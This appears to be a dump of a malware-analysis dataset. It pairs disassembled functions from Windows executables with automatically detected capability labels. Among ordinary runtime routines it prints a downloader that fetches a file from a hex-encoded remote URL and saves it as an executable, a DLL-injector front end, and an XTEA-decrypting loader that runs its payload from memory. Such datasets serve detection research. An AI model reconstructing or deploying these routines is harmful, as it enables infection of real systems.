joyce8/EMBER2024-capa huggingface dataset:
Function at 0x593400
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
mov dword [esp + 0x1c], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]

Function at 0x593460
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
mov edi, ecx
mov dword [esp + 0x58], ebp
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x593556
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x5934d0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x5934a5
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sub.msvcrt.dll_memcpy
cmp byte [esp + 0x1f], 0
je 0x5934b5
cmp byte [esp + 0x1e], 0
je 0x5934b5
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x5934b5
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00593400
nop

Function at 0x5937f0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x65ea6c
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x65ea84]
sub esp, 4
test ebx, ebx
je 0x59383b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x593834
test esi, esi
je 0x593834
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x593810
mov dword [esp], 0x65ea6c
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x5991c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x20
call fcn.005937d0
mov dword [esp], str.68747470733a2f2f646c2e696e6f746966792e746563682f617574685f73736c2e706870
call fcn.004013a0
mov dword [esp], 1
mov esi, eax
call sub.msvcrt.dll_malloc
mov dword [esp], 3
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call sym.curl.exe_curl_global_init
call sym.curl.exe_curl_easy_init
test eax, eax
mov ebx, eax
je 0x5992fa
mov dword [esp + 8], esi
mov dword [esp + 4], 0x2712
mov dword [esp], eax
call sym.curl.exe_curl_easy_setopt
mov dword [esp + 8], 1
mov dword [esp + 4], 0x2b
mov dword [esp], ebx
call sym.curl.exe_curl_easy_setopt
mov dword [esp + 8], 0
mov dword [esp + 4], 0x51
mov dword [esp], ebx
call sym.curl.exe_curl_easy_setopt
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40
mov dword [esp], ebx
call sym.curl.exe_curl_easy_setopt
mov dword [esp + 8], 1
mov dword [esp + 4], 0x34
mov dword [esp], ebx
call sym.curl.exe_curl_easy_setopt
mov dword [esp + 8], 0x96
mov dword [esp + 4], 0xd
mov dword [esp], ebx
call sym.curl.exe_curl_easy_setopt
mov dword [esp + 8], 0x401340
mov dword [esp + 4], 0x4e2b
mov dword [esp], ebx
call sym.curl.exe_curl_easy_setopt
lea eax, [esp + 0x18]
mov dword [esp + 4], 0x2711
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym.curl.exe_curl_easy_setopt
mov dword [esp], ebx
call sym.curl.exe_curl_easy_perform
test eax, eax
jne 0x59931d
mov eax, dword [esp + 0x18]
mov dword [esp + 4], 0x5a306d
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x599345
mov dword [esp], ebx
call sym.curl.exe_curl_easy_cleanup
call sym.curl.exe_curl_global_cleanup
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], esi
call sub.msvcrt.dll_free
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], esi
call sub.msvcrt.dll_free
mov dword [esp], ebx
call sym.curl.exe_curl_easy_cleanup
call sym.curl.exe_curl_global_cleanup
mov eax, 1
jmp 0x599315
mov dword [esp + 4], 0x5a3072
mov dword [esp], str.output.exe
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x5992f2
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 4], 1
mov dword [esp + 8], eax
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov dword [esp], edi
call sub.msvcrt.dll_fclose
jmp 0x5992f2
Function at 0x599b61
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3c
mov esi, eax
mov edi, dword [eax]
mov ebx, dword [edi + 0x160]
cmp edx, 0x1f
jne 0x599d43
lea ebp, [ebx + 0x1cb0]
lea edx, [ebx + 0x1eb0]
mov byte [ebx + 0x1cb0], 0xff
lea eax, [ebx + 0x1cb1]
mov dword [ebx + 0x1eb0], eax
cmp edx, eax
jbe 0x599bb1
mov byte [ebx + 0x1cb1], 0xfa
lea eax, [ebx + 0x1cb2]
mov dword [ebx + 0x1eb0], eax
mov eax, dword [ebx + 0x1eb0]
cmp edx, eax
jbe 0x599bc5
mov byte [eax], 0x1f
inc eax
mov dword [ebx + 0x1eb0], eax
movzx eax, word [ebx + 0x1ca8]
mov dword [esp], eax
mov dword [esp + 0x1c], edx
call sub.WS2_32.dll_htons
push edx
mov word [esp + 0x2c], ax
movzx eax, word [ebx + 0x1caa]
mov dword [esp], eax
call sub.WS2_32.dll_htons
push ecx
mov word [esp + 0x2e], ax
mov eax, dword [ebx + 0x1eb0]
mov edx, dword [esp + 0x1c]
cmp edx, eax
jbe 0x599c0e
mov cl, byte [esp + 0x2c]
mov byte [eax], cl
inc eax
mov dword [ebx + 0x1eb0], eax
mov eax, dword [ebx + 0x1eb0]
cmp edx, eax
jbe 0x599c25
mov cl, byte [esp + 0x2d]
mov byte [eax], cl
inc eax
mov dword [ebx + 0x1eb0], eax
mov eax, dword [ebx + 0x1eb0]
cmp edx, eax
jbe 0x599c3c
mov cl, byte [esp + 0x2e]
mov byte [eax], cl
inc eax
mov dword [ebx + 0x1eb0], eax
mov eax, dword [ebx + 0x1eb0]
cmp edx, eax
jbe 0x599c53
mov cl, byte [esp + 0x2f]
mov byte [eax], cl
inc eax
mov dword [ebx + 0x1eb0], eax
mov eax, dword [ebx + 0x1eb0]
cmp edx, eax
jbe 0x599c67
mov byte [eax], 0xff
inc eax
mov dword [ebx + 0x1eb0], eax
mov eax, dword [ebx + 0x1eb0]
cmp edx, eax
jbe 0x599c7b
mov byte [eax], 0xf0
inc eax
mov dword [ebx + 0x1eb0], eax
mov eax, dword [ebx + 0x1eb0]
mov dword [ebx + 0x1eb4], eax
mov dword [ebx + 0x1eb0], ebp
lea ecx, [ebx + 0x1cb2]
sub eax, ebp
sub eax, 2
mov dword [esp], eax
mov edx, 0x3e
mov eax, edi
call fcn.005997c8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], ebp
mov eax, dword [esi + 0x154]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
test eax, eax
jns 0x599ce9
call sub.WS2_32.dll_WSAGetLastError
mov dword [esp + 8], eax
mov dword [esp + 4], str.Sending_data_failed___d_
mov dword [esp], edi
call fcn.0040c7a8
lea edx, [ebx + 0x1cb3]
mov ecx, 4
mov eax, esi
call fcn.004246a4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
add ebx, 0x1cb7
mov dword [esp + 4], ebx
mov eax, dword [esi + 0x154]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
test eax, eax
jns 0x599d43
call sub.WS2_32.dll_WSAGetLastError
mov dword [esp + 8], eax
mov dword [esp + 4], str.Sending_data_failed___d_
mov dword [esp], edi
call fcn.0040c7a8
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x599e8c
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push ebx
sub esp, 0x34
mov ebx, eax
mov esi, dword [eax]
mov byte [esp + 0x2d], 0xff
mov byte [esp + 0x2e], cl
mov al, byte [esp + 0x40]
mov byte [esp + 0x2f], al
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
lea eax, [esp + 0x2d]
mov dword [esp + 4], eax
mov dword [esp], edx
mov dword [esp + 0x1c], ecx
call sub.WS2_32.dll_send
sub esp, 0x10
test eax, eax
mov ecx, dword [esp + 0x1c]
jns 0x599ef2
call sub.WS2_32.dll_WSAGetLastError
mov dword [esp + 8], eax
mov dword [esp + 4], str.Sending_data_failed___d_
mov dword [esp], esi
call fcn.0040c7a8
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x40]
mov dword [esp], eax
mov edx, str.SENT
mov eax, dword [ebx]
call fcn.00599d4b
add esp, 0x34
pop ebx
pop esi
ret
Function at 0x401150
Capabilities:
Execute command
Set console window title

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x405040]
xor eax, esp
mov dword [esp + 8], eax
push esi
push str.inject_tomhook_by_lain
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0xff
mov dword [esp + 0xc], 0xffffffff
call fcn.004018b4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.dll_path:_n
mov esi, eax
call fcn.00401320
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
push esi
call fcn.00401670
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 8
mov edx, str.PID:_n
call fcn.00401320
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [esp + 8]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
push dword [esp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Unable_to_open_process._n
test esi, esi
je 0x4011f1
mov edx, str.Process_Opened._n
call fcn.00401320
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [esp + 0x10]
add esp, 4
xor eax, eax
pop esi
xor ecx, esp
call fcn.00401898
mov esp, ebp
pop ebp
ret

Function at 0x40210d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40214c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40214c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40214c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40214c
cmp dword [ecx + 0x74], 0xe
jbe 0x40214c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4138e0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x413800
push 0
push 0
call esi
push 0
push 0
push 0
push 0x413850
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0x7530
call esi
jmp 0x4138d0
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.00408e40
call fcn.00407240
mov ecx, 1
call fcn.00408a30
mov ecx, 1
call fcn.00408470
sub esp, 0x18
mov ecx, esp
call fcn.00405610
call fcn.00409460
add esp, 0x18
call fcn.00411180
jmp 0x4138a0

Function at 0x401072
Capabilities:
Encode data using xor
Encrypt data using xtea
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
call ebx
push eax
call dword [sym.imp.MSVCR80.dll_srand]
mov edi, dword [sym.imp.MSVCR80.dll_rand]
pop ecx
call edi
cdq
mov ecx, 0x3e8
idiv ecx
mov esi, edx
add esi, 0xc8
call edi
cdq
mov ecx, 0x4b0
idiv ecx
add edx, 0x64
push edx
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
mov dword [0x403378], eax
call ebx
push 0xfffffffffffffff0
push dword [0x403378]
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x40000000
je 0x40109e
push 0xf6950
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x198], eax
mov eax, 0x11400
push eax
push 0x404380
push eax
push dword [ebp - 0x198]
call dword [sym.imp.MSVCR80.dll_memcpy_s]
add esp, 0x10
push str.TimeDir
push esi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov edi, eax
cmp esi, 0x7530
jge 0x401173
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x194]
push str.FileNameDirTime
push eax
call dword [sym.imp.MSVCR80.dll_wcscpy]
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
cdq
push 0xf
pop ecx
idiv ecx
push 0xf
pop ebx
lea ecx, [ebp + edx*2 - 0x194]
movzx eax, word [ecx]
xor edx, edx
div ebx
inc esi
mov ax, word [ebp + edx*2 - 0x194]
mov word [ecx], ax
jmp 0x401123
mov esi, dword [ebp - 0x198]
mov dword [ebp - 0x19c], 0x1e849
mov ecx, esi
call fcn.00401053
lea ecx, [esi + 4]
mov edi, eax
call fcn.00401053
mov ecx, edi
mov edx, 0xc6ef3720
mov edi, ecx
shr edi, 5
mov ebx, ecx
shl ebx, 4
xor edi, ebx
mov ebx, edx
shr ebx, 0xb
and ebx, 3
mov ebx, dword [ebx*4 + 0x402118]
add ebx, edx
add edi, ecx
xor edi, ebx
sub eax, edi
mov edi, eax
shr edi, 5
mov ebx, eax
shl ebx, 4
xor edi, ebx
add edx, 0x61c88647
mov ebx, edx
and ebx, 3
mov ebx, dword [ebx*4 + 0x402118]
add edi, eax
add ebx, edx
xor edi, ebx
sub ecx, edi
test edx, edx
jne 0x40119b
push edx
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x1a0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea ecx, [ebp - 0x1a4]
call fcn.00401053
lea ecx, [ebp - 0x1a0]
mov dword [esi], eax
call fcn.00401053
mov dword [esi + 4], eax
add esi, 8
dec dword [ebp - 0x19c]
jne 0x401183
call dword [ebp - 0x198]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4032ac
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404b20
test esi, esi
jne 0x4032e2
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404c10
jmp 0x403300
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00403150
mov edi, eax
test esi, esi
je 0x403300
cmp dword [ebx], 0
je 0x403300
dec esi
jmp 0x4032e9
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403a40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x46e020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403ad8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403ab8
xor eax, eax
push ebp
push 0x403ab1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403af4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403ab8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x46e020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x46e020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4048ec
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x471048], 0
je 0x40494d
cmp word [0x47121c], 0xd7b2
jne 0x404915
cmp dword [0x471224], 0
jbe 0x404915
mov eax, 0x471218
call dword [0x471234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404974
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46e02c], 0
jne 0x404969
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404aa4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x46e030], 0
je 0x404aca
mov edx, esi
mov eax, ebx
call dword [0x46e030]
jmp 0x404ad9
mov eax, 8
call fcn.00402e60
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x471049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404a6c
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x408704
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x408756
test eax, edx
je 0x408759
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x408719
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40873f
add ecx, 4
js 0x40872f
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x40873c
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x408765
test edx, edx
jne 0x40870c
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x409024
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.00404fb0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409042
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 2
je 0x409063
cmp ebx, 3
je 0x409063
cmp ebx, 0x7b
je 0x409063
mov eax, esi
call fcn.00408fe4
test al, al
jne 0x409067
xor eax, eax
jmp 0x409069
mov al, 1
pop esi
pop ebx
ret

Function at 0x40bc38
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bc71
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404c10
jmp 0x40bc7a
mov eax, ebx
mov edx, esi
call fcn.00404b74
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40bc84
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bca6
movzx eax, byte [esp]
jmp 0x40bca8
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c338
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c1b0
mov eax, dword [0x470860]
cmp byte [eax], 0
je 0x40c3b4
mov eax, dword [0x470654]
call fcn.004033e4
call fcn.00402fbc
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004093a4
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c3fc
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c3ea
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4705f8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4737f4]
call fcn.00405cd8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40cc74
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cd4a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404bb8
lea eax, [ebp - 4]
call fcn.00405008
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404fb0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40cd34
mov eax, ebx
call fcn.00402e60
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40cd2d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404fb0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40cd17
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40cd5c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40cd17
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cd34
mov eax, dword [ebp - 0x10]
call fcn.00402e7c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cd51
lea eax, [ebp - 4]
call fcn.00404b20
ret

Function at 0x41b2d8
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0041b014
dec esi
jne 0x41b2fa
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret

Function at 0x41c46c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4759ec
cmp dword [edi], 0
jne 0x41c4e8
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4759e8]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x46eadc
mov ecx, 2
call fcn.00403050
mov edx, 0x41c444
lea eax, [esi + 5]
call fcn.0041c464
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041c464
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41c4bd
mov dword [0x4759e8], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x41ec1c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404fb0
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x41ec74
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x470988]
mov dl, 1
mov eax, dword [0x41e604]
call fcn.0040c4f8
call fcn.004044b4
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0041e70c
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x41ff10
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41ff16
ret